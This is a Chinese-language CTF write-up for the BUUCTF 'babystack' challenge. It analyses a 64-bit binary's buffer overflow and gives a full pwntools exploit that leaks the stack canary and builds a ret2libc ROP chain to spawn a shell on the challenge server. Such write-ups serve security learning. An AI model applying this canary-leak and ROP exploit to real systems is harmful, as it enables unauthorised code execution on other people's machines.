others_babystack

准备


64 位,开了 canaryNX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9();
v3 = sub_400841();
switch ( v3 )
{
case 2:
puts(s);
break;
case 3:
return 0LL;
case 1:
read(0, s, 0x100uLL);
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826(&byte_400AE7);
}
}

canary 的值赋值给 v6
然后进入他循环,给了一个菜单,进行选择
当选 1 时,是输入点,读取输入最大 256(0x100) 个字节到 s ,但 s 大小为 136,所以存在缓冲区溢出
当选 2 时,会用 puts 函数对输入的内容进行输出
当选 3 时,退出流程

思路:

这题开了 canary 保护,有溢出点,没其他连接点,输入后可以输出,所以泄露 canary 后,打 64 位的 ret2libc
通过 ida 查看栈情况,计算输入点(s)到 canary 值(v6)的距离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
-00000000000000A0 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0
-00000000000000A0
-00000000000000A0 // padding byte
-000000000000009F // padding byte
-000000000000009E // padding byte
-000000000000009D // padding byte
-000000000000009C // padding byte
-000000000000009B // padding byte
-000000000000009A // padding byte
-0000000000000099 // padding byte
-0000000000000098 // padding byte
-0000000000000097 // padding byte
-0000000000000096 // padding byte
-0000000000000095 // padding byte
-0000000000000094 _DWORD var_94;
-0000000000000090 _BYTE s;
-000000000000008F // padding byte
-000000000000008E // padding byte
-000000000000008D // padding byte
-000000000000008C // padding byte
-000000000000008B // padding byte
-000000000000008A // padding byte
-0000000000000089 // padding byte
-0000000000000088 // padding byte
-0000000000000087 // padding byte
-0000000000000086 // padding byte
-0000000000000085 // padding byte
-0000000000000084 // padding byte
-0000000000000083 // padding byte
-0000000000000082 // padding byte
-0000000000000081 // padding byte
-0000000000000080 // padding byte
-000000000000007F // padding byte
-000000000000007E // padding byte
-000000000000007D // padding byte
-000000000000007C // padding byte
-000000000000007B // padding byte
-000000000000007A // padding byte
-0000000000000079 // padding byte
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 // padding byte
-0000000000000073 // padding byte
-0000000000000072 // padding byte
-0000000000000071 // padding byte
-0000000000000070 // padding byte
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

这里的 s 在这里 -0000000000000090 _BYTE s;
v6 在这里 -0000000000000008 _QWORD var_8;
两者间的距离为 0x90-0x8=0x88(136)
利用一次输入和输出,泄露 canary 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
# io = remote('node5.buuoj.cn',27299)
io = process('/home/motaly/bs')
elf = ELF('/home/motaly/bs')

def show():
io.sendlineafter(b'>> ','2')

def exit():
io.sendlineafter(b'>> ','3')

def store(content):
io.sendlineafter(b'>> ','1')
io.sendline(content)

payload=b'a'*135+b'b'
store(payload)
show()

io.recvuntil(b'b')
canary=u64(io.recv(8)[-7:].rjust(8,b'\x00'))
log.success('canaty: '+hex(canary))

这里最后的 b'b' 是为了好定位,来下面接收后获得 canary 的值
有了 canary 的值,就正常的打 ret2libc
因为 64 位程序,所以需要寄存器,这里用常用的 puts 函数去打,有一个参数,用 rdi 寄存器,在考虑 64 位的堆栈平衡,也要知道 ret 来填充
ROPgadget 指令获取这些数据

先获取 puts 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload=b'a'*135+b'b'
store(payload)
show()

io.recvuntil(b'b')
canary=u64(io.recv(8)[-7:].rjust(8,b'\x00'))
log.success('canaty: '+hex(canary))

rdi=0x400a93
ret=0x40067e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400908

payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
store(payload)
exit()

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

这里前面的填充先给 136 个数据,然后给一个 canary 的值,来绕过 canary 保护,然后因为总的偏移是 0x90+8(152),所以后面在加一个 8 的填充
最后退出流程,才能运行返回地址,获得 puts 函数的地址
通过 puts 函数的地址,得到 libc 基址,进而有了 system/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
payload=b'a'*135+b'b'
store(payload)
show()

io.recvuntil(b'b')
canary=u64(io.recv(8)[-7:].rjust(8,b'\x00'))
log.success('canaty: '+hex(canary))

rdi=0x400a93
ret=0x40067e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400908

payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
store(payload)
exit()

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

最后在同样的执行一遍流程,获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
payload=b'a'*135+b'b'
store(payload)
show()

io.recvuntil(b'b')
canary=u64(io.recv(8)[-7:].rjust(8,b'\x00'))
log.success('canaty: '+hex(canary))

rdi=0x400a93
ret=0x40067e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400908

payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
store(payload)
exit()

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*136+p64(canary)+b'b'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
store(payload)
exit()

脚本

( BUUUbuntu 16 对应的 libc 版本是 libc6_2.23-0ubuntu11_amd64 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('node5.buuoj.cn',27299)
# io = process('/home/motaly/bs')
elf = ELF('/home/motaly/bs')

def show():
io.sendlineafter(b'>> ','2')

def exit():
io.sendlineafter(b'>> ','3')

def store(content):
io.sendlineafter(b'>> ','1')
io.sendline(content)

payload=b'a'*135+b'b'
store(payload)
show()

io.recvuntil(b'b')
canary=u64(io.recv(8)[-7:].rjust(8,b'\x00'))
log.success('canaty: '+hex(canary))

rdi=0x400a93
ret=0x40067e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400908

payload=b'a'*136+p64(canary)+b'b'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
store(payload)
exit()

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*136+p64(canary)+b'b'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
store(payload)
exit()

io.interactive()